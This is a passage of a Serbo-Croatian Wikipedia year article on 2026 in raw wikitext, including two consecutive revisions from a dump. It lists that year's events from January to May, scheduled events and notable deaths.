Pet zemalja bojkotira zbog učešća Izraela. Prva je [[Dara (bugarska pjevačica)|Dara]] iz Bugarske ("Bangaranga"), 15. Lelek iz Hrvatske ("Andromeda"), 17. Lavina iz Srbije ("Kraj mene"). * [[17. 5.]] - Ukrajinski dronovi gađaju ciljeve u Moskvi i Bjelgorodu, kao odgovor na jak ruski napad. * [[20. 5.]] - Vazdušna uzbuna u [[Vilnius]]u zbog drona blizu beloruske granice. * 20. 5. - Velika porota u Majamiju optužila [[Raúl Castro|Raúla Castra]] i dr. za ubistvo u obaranju dve emigrantske cesne 1996. * [[23. 5.]] - Miting "Ti i ja, Slavija", u Beogradu, sa preko 180.000 okupljenih. Sukobi kod Pionirskog parka. Železnički saobraćaj u zemlji obustavljen ranije tokom dana. == Predviđeni događaji == * [[7. 6.]] - Vanredni izbori na Kosovu. * 11. 6. - 19. 7. - FIFA Svetski kup u Severnoj Americi. * [[12. 8.]] - Totalno [[pomračenje Sunca]], u sh. krajevima prekriveno preko 90% diska<ref>[http://eclipse.gsfc.nasa.gov/SEsearch/SEsearchmap.php?Ecl=20260812 Total Solar Eclipse of 2026 August 12] {{Webarchive|url=https://web.archive.org/web/20150320164625/http://eclipse.gsfc.nasa.gov/SEsearch/SEsearchmap.php?Ecl=20260812 |date=2015-03-20 }}, ''NASA''</ref>. * [[29. 8.]] - Referendum o nastavku pregovora o članstvu [[Island]]a u EU. * [[4. 10.]] - Izbori u BiH. * [[19. 10.]] - Referendum sa 10 pitanja u kanadskoj provinciji [[Alberta]], među kojima i da li treba raspisati referendum o nezavisnosti. * [[3. 11.]] - Izbori na sredini mandata u SAD. * 19. 11. - Najavljena igra ''[[Grand Theft Auto VI]]''. === Nepoznati datumi === * jesen? - Vanredni izbori u Srbiji? == Rođenja == == Smrti == {{glavni članak|:Kategorija:Umrli 2026.}} === Januar/Siječanj === * [[1. 1.]] - [[Nexhat Daci]], kosovski političar, akademik ANUK (* [[1944]]) * [[2. 1.]] - [[Dejan Đurović]], glumac, spiker, voditelj (* [[1938]]) * [[5. 1.]] - [[Aldrich Ames]], špijun (* [[1941]]) * [[10. 1.]] - [[Erich von Däniken]], ufolog (* [[1935]]) * [[19. 1.]] - [[Valentino Garavani|Valentino]], modni kreator (* [[1932]]) * 19. 1. - [[Senka Veletanlić]], pevačica, glumica (* [[1936]]) * [[20. 1.]] - [[Beti Đorđević]], pevačica (* [[1946]]) * [[23. 1.]] - [[Dalibor Brun]], pjevač (* 1944) * [[30. 1.]] - [[Catherine O'Hara]], glumica (* [[1954]]) === Februar/Veljača === * [[3. 2.]] - [[Saif al-Islam Gaddafi]], libijski političar (* [[1972]]) * [[6. 2.]] - [[Miro Vuksanović]], književnik, akademik SANU (* [[1944]]) * [[7. 2.]] - [[Gordana Marić]], glumica, profesorka FDU (* * [[13. 2.]] - [[Ljiljana Pavić]], scenaristkinja (* [[1938]]) * 13. 2. - [[Tatjana Ječmenica]], teniserka, trener, selektor (* [[1978]]) * [[15. 2.]] - [[Robert Duvall]], glumac (* [[1931]]) * [[17. 2.]] - [[Jesse Jackson]], aktivist za ljudska prava (* [[1941]]) * [[18. 2.]] - [[Borislav Paravac]], bivši član Predsjedništva BiH (* [[1943]]) * 18. 2. - Ljiljana Zelen Karadžić (* [[1945]]) * [[20. 2.]] - [[Mirjana Kapetanović]], bh. književnica i novinarka (* [[1959]]) * [[21. 2.]] - [[Vladislav Jovanović]]. srpski diplomata (* [[1933]]) * 21. 2. - [[Dan Simmons]], književnik (* [[1948]]) * [[23. 2.]] - [[Dragoljub Dimitrijević]], vajar, profesor FPU (* [[1950]]) * [[25. 2.]] - [[Antonio Tejero]], neuspeli španski pučista (* [[1932]]) * [[27. 2.]] - [[Neil Sedaka]], kantautor, pijanist (* [[1939]]) * [[28. 2.]] - [[Ali Hamenei]], Vrhovni lider Irana (* [[1939]]) === Mart/Ožujak === * [[8. 3.]] - [[B. Wongar]] (Sreten Božić), književnik (* 1932) * 8. 3. - [[Vladimir Rakočević]], matematičar, akademik SANU (* [[1953]]) * [[14. 3.]] - [[Jürgen Habermas]], filozof, socijalni teoretičar (* [[1929]]) * [[17. 3.]] - [[Patrijarh gruzijski Ilija II]] (* [[1933]]) * 17. 3. - [[Ali Laridžani]], iranski političar (* [[1958]]) * [[19. 3.]] - [[Chuck Norris]], glumac, majstor borilačkih vještina (* [[1940]]) * 19. 3. - [[Umberto Bossi]], talijanski političar (* [[1941]]) * [[20. 3.]] - [[Robert Mueller]], bivši šef FBI, specijalni istražilac (* [[1944]]) * 20. 3. - [[Božo Koprivica]], književnik, dramaturg (* [[1950]]) * [[22. 3.]] - [[Lionel Jospin]], bivši francuski premijer (* [[1937]]) * 22. 3. - [[Hermann Huppen]], stripotvorac (* [[1938]]) * 22. 3. - [[Radoje Čupić]], glumac (* [[1958]]) * [[26. 3.]] - [[James Tolkan]], glumac (* [[1931]]) * [[30. 3.]] - [[Carlos Westendorp]], španjolski diplomat, bivši VP u BiH (* [[1937]]) === April/Travanj === * [[5. 4.]] - [[Vlatko Cvrtila]], profesor, gepolitički analitičar (* [[1965]]) * [[6. 4.]] - [[Christian Schwarz-Schilling]], njemački diplomat, bivši VP u BiH (* [[1930]]) * [[8. 4.]] - [[Duško Vujošević]], košarkaški trener (* [[1959]]) * [[9. 4.]] - [[Afrika Bambaataa]], pionir hip-hopa (* [[1957]]) * [[23. 4.]] - [[Rexhep Qosja]], književnik (* [[1936]]) === Maj/Svibanj === * [[1. 5.]] - [[Alex Zanardi]], vozač F1, paraolimpijac (* [[1966]]) * [[6. 5.]] - [[Ted Turner]], osnivač CNN (* [[1938]]) * 6. 5. - [[Vladimir Cvetković]], košarkaš, funkcioner FK Crvena Zvezda (* [[1941]]) * 6. 5. - [[Rajko Kasagić]], bivši premijer RS (* [[1942]]) * [[16. 5.]] - [[Predrag Koraksić]] Corax, karikaturista (* [[1933]]) * 16. 5. - [[Félicien Kabuga]], finansijer genocida u Ruandi (* [[1933]]) * [[21. 5.]] - [[Julienne Bušić]], otmičarka (* [[1948]]) * [[22. 5.]] - [[Dick Parry]], saksofonist ''Pink Floyd''-a (* [[1942]]) * [[26. 5.]] - [[Dragoljub Mićunović]], filozof, srpski političar iz DS, DC (* [[1930]]) == Nobelove nagrade == === Veze === [[Godišnji kalendar]] == Reference == {{izvori}} {{Commonscat}} [[Kategorija:2026.| ]] qtfrg6zyllsm3ngsiyjh1asu8c16lha 42602591 42602586 2026-05-27T18:51:37Z Alekol 2231 /* Maj/Svibanj */ 42602591 wikitext text/x-wiki {{Godina nav|2026}} {{otheruses}} {{Godina u drugim kalendarima|2026}} Godina '''2026''' (MMXXVI) je [[redovna godina koja počinje u četvrtak]]. * UN-ova Međunarodna godina: pašnjaka i stočara; volontera za održivi razvoj; zemljoradnica. * Nove godine: ♞ [[Kineska nova godina|kineska]] 17. 2.; ☪ islamska 16. 6.; ✡ [[Roš Hašana]] 11/12. 9. * Uskrs: ✝ zapadni 5. 4.; 🞣 istočni 12. 4. * Bajram: Ramazanski 20. 3.; Kurban 27. 5. == Događaji == === Januar/Siječanj === * [[1. 1.]] - Bugarska je 21. članica [[eurozona|eurozone]], 1,95583 [[bugarski lev|leva]] za euro. * 1. 1. - Požar u baru u [[Crans-Montana|Crans-Montani]], stradalo je 40 ljudi. * 1. 1. - Demokratski socijalista [[Zohran Mamdani]] je gradonačelnik [[New York]]a. * [[2. 1.]] - Šesti dan protesta u Iranu, iniciranih ekonomskom krizom. [[Donald Trump|Trump]] izjavljuje da će intervenisati ako demonstranti budu ubijani. * 2. 1. - [[Ciudad de la Paz (Ekvatorska Gvineja)|Ciudad de la Paz]] je novi glavni grad [[Ekvatorska Gvineja|Ekvatorske Gvineje]], u kontinentalnom delu zemlje, umesto [[Malabo]]a na ostrvu [[Bioko]]. * 2 - 4. 1. - Jemenski građanski rat: jemenska vlada je uz saudijsku pomoć povratila teritorije izgubljene u ofanzivi Južnog prijelaznog vijeća prošlog mjeseca (muhafaze [[Hadramaut (muhafaza)|Hadramaut]] i [[Al-Mahra (muhafaza)|Al-Mahra]]). Na otoku [[Sokotra]] su blokirani turisti. [[Datoteka:Nicolas Maduro on board the USS Iwo Jima (cropped).jpg|120px|mini|lijevo|[[Nicolás Maduro|Maduro]]]] * [[3. 1.]] - Operacija ''Absolute Resolve'': američki udari u [[Venecuela|Venecueli]] i hvatanje predsednika [[Nicolás Maduro|Nicolása Madura]] i njegove supruge po optužbi za trgovinu narkoticima. Trump izjavljuje da će SAD upravljati zemljom do tranzicije, najavljuje dolazak američkih naftnih kompanija. V.d. predsednika je [[Delcy Rodríguez]]. * [[6. 1.]] - Grenlandska kriza: lideri nekoliko evropskih zemalja reafirmiraju podršku Danskoj i [[Grenland]]u povodom novih američkih potraživanja. * 6. 1. - Kontroverza oko chatbota [[Grok]] koji generira seksualizirane slike žena i djevojčica. * 6 - 10. 1. - Sukob između sirijske prelazne vlade i kurdskih Sirijskih demokratskih snaga u [[Alep]]u - po sporazumu o primirju, SDF napušta grad. Vlada zatim preduzima ofanzivu 13-tog. * [[7. 1.]] - Snage međunarodno priznate jemenske vlade ulaze u [[Aden]]. * [[8. 1.]] - Pojačanje protesta u Iranu, praćeno gašenjem interneta i oružanim suzbijanjem - stradale su hiljade demonstranata. * 8. 1. - Rat u Ukrajini: hipersonična balistička raketa [[Orešnik]] je uveče upotrebljena protiv [[Lavov]]a. * [[14. 1.]] - Zlato je ove sedmice prelazilo 4.600 dolara za uncu, vrhunac 4.638. * [[17. 1.]] - Trump objavljuje da uvodi dodatne carine za osam evropskih zemalja koje učestvuju u vojnoj vežbi ''Arctic Endurance'' i protive se američkom zauzeću Grenlanda (u Davosu 21-og ih otkazuje, kaže da neće primenjivati silu i da je postigao okvirni sporazum sa gen. sek. NATO-a). * 17. 1. - U Paragvaju je potpisan sporazum o slobodnoj trgovini između [[EU]] i [[Mercosur]] (potrebna je ratifikacija). * 17. 1. - Na snazi je sporazum UN o zaštiti oceana (kolokvijalno ''High Seas Treaty''), za očuvanje i održivo korištenje morske bioraznolikosti izvan nacionalne jurisdikcije. * [[20. 1.]] - U Zagrebu prikazan film "[[Svadba (2026.)|Svadba]]" - najgledaniji hrvatski film. * 20. 1. - Politička kriza u Bugarskoj (traje od 2021): predsednik [[Rumen Radev]] je podneo ostavku; potpredsednica [[Ilijana Jotova]] postaje prva žena predsednik 23-ćeg. * [[21. 1.]] - Blokada Filozofskog fakulteta u Novom Sadu zbog otkaza prof. Jeleni Kleut - policija je izbacila iz zgrade studente, profesore i građane. * [[22. 1.]] - Trump i predstavnici nekoliko zemalja su u Davosu potpisali povelju [[Odbor mira|Odbora mira]] (''Board of Peace''), koji je u novembru pomenut u rezoluciji SB UN 2803 kao prelazno upravno i nadzorno telo za Gazu. * 22. 1. - SAD su napustile [[Svjetska zdravstvena organizacija|Svjetsku zdravstvenu organizaciju]]. * [[23. 1.]] - Američki organ je produžio licencu Naftnoj industriji Srbije do 20. februara (mađarski MOL je objavio 19-tog da će preuzeti NIS od Gaspromnjefta). * [[24. 1.]] - Kriza u [[Minneapolis, Minnesota|Minneapolisu]]: nakon Renée Good 7-og, agenti ICE (Sprovođenje imigracije i carina) ubili su i Alexa Prettija. * 10 - [[25. 1.]] - Evropsko prvenstvo u vaterpolu, Beograd: Srbija 1, Hrvatska 6, Crna Gora 7. U all-star timu su [[Milan Glušac]], [[Dušan Mandić]] i [[Strahinja Rašović]]. * [[26. 1.]] - Talačka kriza u Gazi: Izraelci su našli telo poslednjeg taoca. * [[27. 1.]] - Samit EU-Indija u New Delhiju: postignut je sporazum o slobodnoj trgovini (potrebna ratifikacija). * 27. 1. - [[Južni Sudan]]: vladine snage, preds. [[Salva Kiir Mayardit|Salve Kiira]], pokrenule ofanzivu u državi Jonglei kako bi povratile pozicije koje su prošlog meseca zauzele opozicione snage zatvorenog bivšeg potpredsednika [[Riek Machar|Rieka Machara]]. * [[28. 1.]] - Urušavanje rudnika [[koltan]]a Rubaya na istoku DR Kongo: stradalo je preko 400 ljudi. * 28. 1.]] - [[Sarah Mullally]] je prva žena [[nadbiskup Canterburyja]]. * [[29. 1.]] - U [[Konjuh (Kruševac)|Konjuhu]] kod Kruševca zaplenjeno pet tona marihuane. * 29. 1. - Trump je potpisao izvršno naređenje o carini za zemlje koje snabdevaju [[Kuba|Kubu]] naftom; Meksiko je još pre dva dana otkazao isporuku - na Kubi se zaoštrava energetska kriza. * [[30. 1.]] - Predsednik Vučić je potpisao paket od pet izmena i dopuna pravosudnih zakona, tzv. Mrdićeve zakone. [[Datoteka:EFTA00001815 - Stone-walled driveway leads to a luxurious villa with palm trees and a coastal view featuring a black utility vehicle parked on the concrete pad.jpg|mini|Na "Epsteinovom otoku" 2019. ([[Little Saint James]], [[Američki Djevičanski Otoci]])]] * 30. 1. - Ministarstvo pravde SAD je objavilo 3,5 miliona dokumenata u vezi [[Jeffrey Epstein|Jeffreya Epsteina]]; novi fokus na bivšeg princa Andrewa i britanskog političara Petera Mandelsona. * 30. 1. - Nakon što je dostigla 5.500 dolara za uncu, cena zlata pada 9%, najviše od 1983. === Februar/Veljača === * 15. 1. - [[1. 2.]] - [[EHF Euro 2026.]] (Danska, Švedska Norveška): Danska 1, Hrvatska 3, Srbija 19, Crna Gora 23. U all-star timu je [[Mario Šoštarić]]. Doček rukometaša u Zagrebu 2-og je organizirala Vlada RH. * [[3. 2.]] - Islamisti ubili 160-200 ljudi u dva sela u zapadnoj nigerijskoj državi Kwara. * [[5. 2.]] - Istekao ugovor [[Novi START]] o redukciji nuklearnog naoružanja iz 2010. (Rusija je suspendovala učešće 2023). * 5. 2. - U Makedoniji je počela akcija u kojoj je zaplenjeno 40 tona marihuane. * [[6. 2.]] - [[Dow Jones Industrial Average|Dow Jones IA]] je prvi put prešao 50.000. * 6 - 22. 2. - Zimske olimpijske igre u [[Milano|Milanu]] i [[Cortina d'Ampezzo|Cortini d'Ampezzo]]. * [[8. 2.]] - Izbori za predsjednika Republike Srpske (od novembra): nakon ponavljanja glasanja na 136 biračkih mjesta, potvrđena je pobjeda [[Siniša Karan|Siniše Karana]] iz SNSD (inauguracija 17-og). * 8. 2. - Vanredni izbori u [[Japan]]u: [[Liberalna demokratska partija (Japan)|LDP]] premijerke [[Sanae Takaichi]] dobija dvotrećinsku većinu. * 8. 2. - [[Super Bowl]] LX u [[Santa Clara, California|Santa Clari]]: [[Seattle Seahawks]] - [[New England Patriots]] 29:13; u poluvremenu je nastupio portorikanski reper [[Bad Bunny]]. * [[12. 2.]] - Trump opozvao klasifikaciju gasova staklene bašte kao pretnje javnom zdravlju iz 2009, kao i standarde za emisije iz vozila. * 12. 2. - [[Vještačka inteligencija]]: kineska kompanija [[ByteDance]] objavila aplikaciju ''Seedance 2.0'' za generiranje videa - hollywoodski studiji prete tužbom za povredu intelektualnih prava. * [[19. 2.]] - Bivši princ Andrew je bio pritvoren zbog prestupa na javnoj funkciji. * 19. 2. - Bivši južnokorejski predsednik Yoon Suk Yeol osuđen na doživotnu kaznu za pobunu kada je proglasio ratno stanje u decembru 2024. * [[20. 2.]] - Vrhovni sud SAD presudio da predsednik nema pravo da uvodi carine prema zakonu iz 1977 (carine od 2. 4. 2025). Trump sutradan objavljuje globalne carine od 10% po zakonu iz 1962, što ubrzo povećava na 15%. * [[22. 2.]] - Fatalno ranjen ''El Mencho'', lider meksičkog narko-kartela Jalisco Nova Generacija - njegovi ljudi izvode više paljevinskih napada, blokada puteva i sukoba sa vlastima. * [[26. 2.]] - Eskalacija u Konfliktu Pakistana i Afganistana: afganski Talibani napadaju pakistanske položaje (nakon pakistanskih udara od 21-og), Pakistan kaže da je u punom ratu sa Afganistanom. * [[27. 2.]] - MUP objavio da je Hrvatska očišćena od mina. * [[28. 2.]] - Počinje Operacija Lav koji riče/Epska furija, izraelsko-američki udari na Iran sa željom promene režima. ** Ubijen je Vrhovni lider [[Ali Hamenei]] sa još nekoliko vojnih čelnika. Pogođena je škola za devojčice u Minabu na jugu zemlje, iranski mediji izveštavaju o 165 mrtvih. ** Iran uzvraća na Izrael i ciljeve u Persijskom zalivu. === Mart/Ožujak === [[Datoteka:Op epic fury timeline 100hrs - pentagon - mar4 - straight.jpg|mini|Prvih 100 sati rata u Zalivu]] * [[1. 3.]] - Dron pogodio britansku bazu Akrotiri na Kipru. * 1. 3. - Masakru u Abiemnomu na severu [[Južni Sudan|Južnog Sudana]]: omladinci, moguće [[Nuer]]i, napali su [[Dinka (narod)|Dinke]], ubijeno je najmanje 169 ljudi. * [[2. 3.]] - Obnovljen sukob između [[Hezbolah]]a i Izraela. Evakuacije sa juga Libana, gađanje meta na jugu Bejruta. * [[3. 3.]] - Još jedan odron u rudnicima [[koltan]]a Rubaya u prov. [[Nord-Kivu|Severni Kivu]], [[DR Kongo]], sa preko 200 mrtvih (u januaru je stradalo preko 400 ljudi). * [[4. 3.]] - Iranska fregata IRIS Dena je torpedovana blizu Šri Lanke. * [[5. 3.]] - Izbori u [[Nepal]]u, prvi od protesta Gen Z prošlog septembra: skoro dvotrećinska većina za Nacionalnu nezavisnu partiju, repera i gradonačelnika Katmandua [[Balen Shah]]a. * [[6. 3.]] - Kosovska predsednica [[Vjosa Osmani]] raspustila skupštinu dan nakon neuspelog biranja novog predsednika; "[[Samoopredeljenje (politička stranka)|Samoopredeljenje]]" se obraća Ustavnom sudu. * 7/[[8. 3.]] - Pogođeni rezervoari nafte kod Teherana, grad je obavijen dimom, pada crna kiša. Za novog Vrhovnog lidera Irana je izabran sin prethodnog, [[Mojtaba Khamenei]]. * [[9. 3.]] - Cena nafte prelazi 100 dolara po barelu, prvi put od 2022. Promet [[Hormuški tjesnac|Hormuškim tjesnacom]] je znatno otežan. * [[13. 3.]] - Gađane su vojne mete na iranskom ostrvu i naftnom terminalu [[Hark]]. * [[15. 3.]] - [[98. dodjela Oscara]]: najbolji film je ''[[One Battle After Another]]'', ukupno šest nagrada od 13 nominacija, uključujući novu kategoriju za [[kasting]]; ''[[Sinners (film iz 2025.)|Sinners]]'', četiri od rekordnih 16; ''[[Frankenstein (film iz 2025.)|Frankenstein]]'' tri od devet; ''[[KPop Demon Hunters]]'' dve od dve; ''[[Sentimental Value]]'' jedna, međunarodna, od devet; ''[[Hamnet (film)|Hamnet]]'' jedna od osam; ''[[Marty Supreme]]'' ništa od devet. * [[16. 3.]] - U pakistanskom udaru je pogođena bolnica, centar za rehabilitaciju narkomana, u Kabulu - lokalni izvori tvrde da ima na stotine mrtvih. * 16. 3. - Započete su izraelske kopnene operacije na jugu Libana - narednih dana se ruše mostovi na reci [[Litani]]. * 16. 3. - Nestanak struje na celoj Kubi (i opet 21-og). * [[17. 3.]] - U izraelskim napadima u Teheranu, ubijeni su tajnik Vrhovnog vijeća nacionalne sigurnosti [[Ali Laridžani]] i komandant Basidža, paravojne dragovoljačke milicije u okviru Revolucionarne garde, Golamreza Solejmani (sljedeće noći i ministar obavještajnih dijela Esmail Hatib). * [[18. 3.]] - Prvi, izraelski, napad na iransku hidrokarbonsku proizvodnju: najveće gasno polje, Južni Pars, koje deli sa [[Katar]]om. Iran odgovara udarom i velikom štetom na katarskom kompleks Ras Laffan za likvefakciju gasa. Ovo povlači obustavu rada kompanije QAFCO, koja proizvodi 14% svetske [[Urea|uree]].<ref>[https://www.theguardian.com/world/2026/apr/03/visual-guide-gulf-fertiliser-blockade ‘Food security timebomb’: a visual guide to the Gulf fertiliser blockade]. theguardian.com 3 Apr 2026</ref> * [[20. 3.]] - Iranci su ispalili dve rakete prema bazi Diego Garcia u sredini Indijskog okeana - jedna se raspala, druga presretnuta. * 20 - 22. 3. - Svetsko prvenstvo u dvoranskoj atletici, [[Toruń]]: srebro za [[Angelina Topić|Angelinu Topić]] u skoku u vis. * [[21. 3.]] - Nakon što je u Iranu gađano nuklearno postrojenje Natanz, iranske rakete pogađaju izraelska mesta Arad i [[Dimona]], nedaleko od nuklearnog centra. * [[22. 3.]] - Parlamentarni izbori u Sloveniji: vladajuće [[Gibanje Svoboda]] je opalo, ali je jedan mandat ispred Janšine [[Slovenska demokratska stranka|SDS]]. * 22. 3. - Lokalni izbori u Francuskoj, drugi krug. Socijalisti zadržali Pariz. * [[24. 3.]] - Potpisan ugovor o slobodnoj trgovini između EU i Australije. * 25 - 26. 3. - Sud u Novom Meksiku odredio 375 milona dolara globe Meti (Facebook i Instagram) jer je omogućila seksualnu eksploataciju dece; sutradan u Los Angelesu sud nalazi da su Meta i YouTube stvorili adiktivne proizvode koji štete mladim korisnicima. * [[26. 3.]] - Nevrijeme u Hrvatskoj. * 26. 3. - Uveče, studentkinja pala sa petog sprata Filozofskog fakulteta u Beogradu. * [[28. 3.]] - Jemenski Husi su ispalili prvu raketu prema Izraelu tokom Iranskog rata. * [[29. 3.]] - Lokalni izbori u 10 opština Srbije (Aranđelovac, Bajina Bašta, Bor, Kladovo, Knjaževac, Kula, Lučani, Majdanpek, Sevojno, Smederevska Palanka). Bilo je nasilja, [[Srpska napredna stranka|naprednjaci]] uglavnom pobeđuju, sa smanjenom podrškom. * [[31. 3.]] - BiH pobijedila Italiju na penale i plasirala se na Svjetsko prvenstvo; Italija nije uspjela treći put zaredom. === April/Travanj === [[Datoteka:Orion POV- Destination and Home (art002e009567).jpg|mini|[[Artemis II]]: brod Orion, Mĕsec i Zemlja]] * [[1. 4.]] - [[10. 4.]] - NASA-ina misija [[Artemis II]], sa posadom oko Meseca, prva iznad niske orbite od 1972; 6/7. 4. su obišli oko Meseca, na rekordnoj udaljenosti od 406.771 km od Zemlje. * [[3. 4.]] - U Iranu je oboren američki [[McDonnell Douglas F-15E Strike Eagle|F-15E]]: pilot je ubrzo spasen a oficir za oružne sisteme 5-tog (prilikom spašavanja Amerikanci uništili dva svoja aviona [[Lockheed C-130 Hercules|C-130]] i dva mala helikoptera [[MD Helicopters MH-6 Little Bird|MH-6]]). Oboren i [[Fairchild Republic A-10 Thunderbolt II|A-10]] kod Hormuškog tjesnaca. * [[5. 4.]] - Objavljeno da je blizu [[Kanjiža|Kanjiže]] pronađen eksploziv kod gasovoda koji vodi prema Mađarskoj. * [[7. 4.]] - Trump: "jedna civilizacija će umreti večeras" ako Iran ne prihvati sporazum. Sledeće noći je dogovoreno primirje na dva tjedna i otvaranje Tjesnaca. * [[8. 4.]] - Izrael smatra da Liban nije obuhvaćen primirjem, u jakim udarcima na Bejrut je stradalo preko 200 ljudi. Iran zatvara Tjesnac i gađa zaljevske zemlje. * [[12. 4.]] - Bez rezultata u pregovorima SAD-Iran u Islamabadu; Trump objavljuje blokadu Hormuškog tjesnaca. [[Datoteka:Bastion of Hungarian Freedom 2026 (44).jpg|mini|Budimpešta 2026.]] * 12. 4. - Parlamentarni izbori u Mađarskoj: partija ''Tisza'' [[Péter Magyar|Pétera Magyara]] pobjeđuje sa dvotrećinskom većinom zastupnika; [[Viktor Orbán|Orbán]] i [[Fidesz]] su proveli četiri mandata i 16 godina na vlasti. * [[13. 4.]] - SAD uvele pomorsku blokadu Irana. * [[17. 4.]] - Iran otvara Tjesnac tijekom lebanonskog primirja, ali ga zatvara već sutradan zbog nastavljene američke blokade. * [[19. 4.]] - Izbori u Bugarskoj, osmi za pet godina: Progresivna Bugarska bivšeg predsednika [[Rumen Radev|Radeva]] dobija apsolutnu većinu mandata. * [[23. 4.]] - Deblokirana pomoć EU od 90 milijardi eura za Ukrajinu. * [[25. 4.]] - [[Rat u Maliju]] i [[Rat u Sahelu]]: koordinirani napadi džihadista iz JNIM i [[Azavad|tuareških pobunjenika]] u više gradova [[Mali]]ja. * 25. 4. - Čovek je pucao blizu Večere dopisnika iz Bele kuće, kojoj su prisustvovali i čelnici SAD. * [[26. 4.]] - [[Sabastian Sawe]] je istrčao Londonski maraton za manje od dva sata. * [[28. 4.]] - RH i BiH potpisali u Dubrovniku sporazum o gradnji plinovoda [[Južna interkonekcija]]. * 28. 4. - Kosovski parlament ne uspeva izabrati novog predsednika - raspušten je, izbori će biti u junu. === Maj/Svibanj === * [[1. 5.]] - [[Ujedinjeni Arapski Emirati]] su napustili [[OPEC]]. * [[2. 5.]] - Ministarstvo obrane SAD objavilo da će povući 5.000 vojnika iz Njemačke (od ca. 36.000). * 2. 5. - Na holandskom kruzeru ''MV Hondius'' na Atlantiku je umrla druga osoba od [[hantavirus]]a, treća ukupno (brod stiže na Tenerife 10-tog, odakle ide evakuacija). * [[4. 5.]] - Američka operacija ''Project Freedom'': pratnja brodova u [[Hormuški tjesnac|Hormuškom tjesnacu]] (sutradan pauzirana). Iranci su gađali naftnu luku u Al Fudžajri. * [[7. 5.]] - Lokalni izbori u UK: uspeh za [[Reform UK]] i Zelene. Nacionalistički [[Plaid Cymru]] ima najviše mandata u Velškoj skupštini (laburisti su bili dominantni od 1922). U Škotskoj je pobedila [[Škotska nacionalna stranka]]. Veliki gubici za vladajuće laburiste na lokalu u Engleskoj. * [[11. 6.]] - [[Christian Schmidt]] potvrđuje da odlazi s pozicije [[Ured visokog predstavnika za Bosnu i Hercegovinu|OHR]]. * 13 - 15. 5. - Trumpova državna poseta Kini. * [[14. 5.]] - Kriza na Kubi: ministar energije izjavljuje da nema više nafte i dizela. * 14. 5. - Potvrđena epidemija Bundibugyo, /bundibudžo/, [[ebola|ebole]] u provinciji [[Ituri]] DR Kongo (moguće da je počela još pre dva meseca). Bolest je prisutna i u Ugandi. [[SZO]] 17-tog objavljuje vanrednu situaciju od međunarodnog interesa. * 14. 5. - U napadu na Kijev ima 24 mrtvih, Ukrajina tri dana kasnije upućuje rafal prema Moskvi i Bjelgorodu. * [[15. 5.]] - Uhapšen načelnik beogradske policije Veselin Milić i još 11 osoba, među kojima tri policajca, tri dana nakon pucnjave u restoranu „27" na [[Senjak]]u i nestanka 52-godišnjeg muškarca (telo pronađeno u buretu, 21-og u Inđiji). * 12 - [[16. 5.]] - Pesma Evrovizije u Beču. Pet zemalja bojkotira zbog učešća Izraela. Prva je [[Dara (bugarska pjevačica)|Dara]] iz Bugarske ("Bangaranga"), 15. Lelek iz Hrvatske ("Andromeda"), 17. Lavina iz Srbije ("Kraj mene"). * [[18. 5.]] - Tužba protiv Službe unutrašnjih prihoda (IRS) od strane preds. Trumpa i njegovih sinova rešena nagodbom: vlada SAD formira fond od blizu 1,8 milijardi dolara, ''Anti-Weaponization Fund'', za nadoknadu predsednikovim saveznicima koji tvrde da su nepravedno istraživani. U dodatku nagodbe se kaže da IRS prekida sve preglede poreskih prijava. * [[20. 5.]] - Vazdušna uzbuna u [[Vilnius]]u zbog drona blizu beloruske granice. * 20. 5. - Velika porota u Majamiju optužila [[Raúl Castro|Raúla Castra]] i dr. za ubistvo u obaranju dve emigrantske cesne 1996. * [[23. 5.]] - Miting "Ti i ja, Slavija", u Beogradu, sa preko 180.000 okupljenih. Sukobi kod Pionirskog parka. Železnički saobraćaj u zemlji obustavljen ranije tokom dana. * [[24. 5.]] - Rusija gađala Ukrajinu sa 600 dronova i 90 raketa, uključujući hipersonični Orešnik, dva dana nakon što je u Starobjeljsku u Luganskoj oblasti pogođen pedagoški univerzitet, sa 21 žrtvom. == Predviđeni događaji == * [[7. 6.]] - Vanredni izbori na Kosovu. * 11. 6. - 19. 7. - FIFA Svetski kup u Severnoj Americi. * [[12. 8.]] - Totalno [[pomračenje Sunca]], u sh. krajevima prekriveno preko 90% diska<ref>[http://eclipse.gsfc.nasa.gov/SEsearch/SEsearchmap.php?Ecl=20260812 Total Solar Eclipse of 2026 August 12] {{Webarchive|url=https://web.archive.org/web/20150320164625/http://eclipse.gsfc.nasa.gov/SEsearch/SEsearchmap.php?Ecl=20260812 |date=2015-03-20 }}, ''NASA''</ref>. * [[29. 8.]] - Referendum o nastavku pregovora o članstvu [[Island]]a u EU. * [[4. 10.]] - Izbori u BiH. * [[19. 10.]] - Referendum sa 10 pitanja u kanadskoj provinciji [[Alberta]], među kojima i da li treba raspisati referendum o nezavisnosti. * [[3. 11.]] - Izbori na sredini mandata u SAD. * 19. 11. - Najavljena igra ''[[Grand Theft Auto VI]]''. === Nepoznati datumi === * jesen? - Vanredni izbori u Srbiji? == Rođenja == == Smrti == {{glavni članak|:Kategorija:Umrli 2026.}} === Januar/Siječanj === * [[1. 1.]] - [[Nexhat Daci]], kosovski političar, akademik ANUK (* [[1944]]) * [[2. 1.]] - [[Dejan Đurović]], glumac, spiker, voditelj (* [[1938]]) * [[5. 1.]] - [[Aldrich Ames]], špijun (* [[1941]]) * [[10. 1.]] - [[Erich von Däniken]], ufolog (* [[1935]]) * [[19. 1.]] - [[Valentino Garavani|Valentino]], modni kreator (* [[1932]]) * 19. 1. - [[Senka Veletanlić]], pevačica, glumica (* [[1936]]) * [[20. 1.]] - [[Beti Đorđević]], pevačica (* [[1946]]) * [[23. 1.]] - [[Dalibor Brun]], pjevač (* 1944) * [[30. 1.]] - [[Catherine O'Hara]], glumica (* [[1954]]) === Februar/Veljača === * [[3. 2.]] - [[Saif al-Islam Gaddafi]], libijski političar (* [[1972]]) * [[6. 2.]] - [[Miro Vuksanović]], književnik, akademik SANU (* [[1944]]) * [[7. 2.]] - [[Gordana Marić]], glumica, profesorka FDU (* * [[13. 2.]] - [[Ljiljana Pavić]], scenaristkinja (* [[1938]]) * 13. 2. - [[Tatjana Ječmenica]], teniserka, trener, selektor (* [[1978]]) * [[15. 2.]] - [[Robert Duvall]], glumac (* [[1931]]) * [[17. 2.]] - [[Jesse Jackson]], aktivist za ljudska prava (* [[1941]]) * [[18. 2.]] - [[Borislav Paravac]], bivši član Predsjedništva BiH (* [[1943]]) * 18. 2. - Ljiljana Zelen Karadžić (* [[1945]]) * [[20. 2.]] - [[Mirjana Kapetanović]], bh. književnica i novinarka (* [[1959]]) * [[21. 2.]] - 